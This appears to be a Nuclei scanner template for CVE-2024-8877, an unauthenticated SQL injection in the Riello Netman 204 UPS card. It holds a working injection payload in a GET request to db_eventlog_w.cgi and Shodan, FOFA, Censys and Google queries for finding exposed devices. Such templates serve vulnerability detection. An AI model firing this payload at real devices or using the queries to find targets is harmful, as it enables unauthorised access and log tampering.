43 lines
1.4 KiB
YAML
43 lines
1.4 KiB
YAML
|
id: CVE-2024-8877
|
||
|
|
|
||
|
|
info:
|
||
|
|
name: Riello Netman 204 - SQL Injection
|
||
|
|
author: s4e-io
|
||
|
|
severity: critical
|
||
|
|
description: |
|
||
|
|
The three endpoints /cgi-bin/db_datalog_w.cgi, /cgi-bin/db_eventlog_w.cgi, and /cgi-bin/db_multimetr_w.cgi are vulnerable to SQL injection without prior authentication. This enables an attacker to modify the collected log data in an arbitrary way.
|
||
|
|
reference:
|
||
|
|
- https://cvefeed.io/vuln/detail/CVE-2024-8877
|
||
|
|
- https://cyberdanube.com/en/en-multiple-vulnerabilities-in-riello-netman-204/index.html
|
||
|
|
- https://0day.today/exploit/39757
|
||
|
|
classification:
|
||
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||
|
|
cvss-score: 9.8
|
||
|
|
cve-id: CVE-2024-8877
|
||
|
|
cwe-id: CWE-89
|
||
|
|
epss-score: 0.00091
|
||
|
|
epss-percentile: 0.39654
|
||
|
|
cpe: cpe:2.3:o:riello-ups:netman_204_firmware:*:*:*:*:*:*:*:*
|
||
|
|
metadata:
|
||
|
|
verified: true
|
||
|
|
max-request: 1
|
||
|
|
vendor: riello-ups
|
||
|
|
product: netman_204_firmware
|
||
|
|
shodan-query: http.title:"netman"
|
||
|
|
fofa-query: title="netman"
|
||
|
|
censys-query: services.http.response.body:"netman204"
|
||
|
|
google-query: intitle:"netman"
|
||
|
|
tags: cve,cve2024,netman,sqli
|
||
|
|
|
||
|
|
http:
|
||
|
|
- method: GET
|
||
|
|
path:
|
||
|
|
- "{{BaseURL}}/cgi-bin/db_eventlog_w.cgi?date_start=0&date_end=1715630160&gravity=%25&type=%25%27and/**/%271%27=%271"
|
||
|
|
|
||
|
|
matchers:
|
||
|
|
- type: dsl
|
||
|
|
dsl:
|
||
|
|
- 'contains_all(body,"START APPLICATION", "Info", "codeStr", "timedate")'
|
||
|
|
- 'status_code == 200'
|
||
|
|
condition: and
|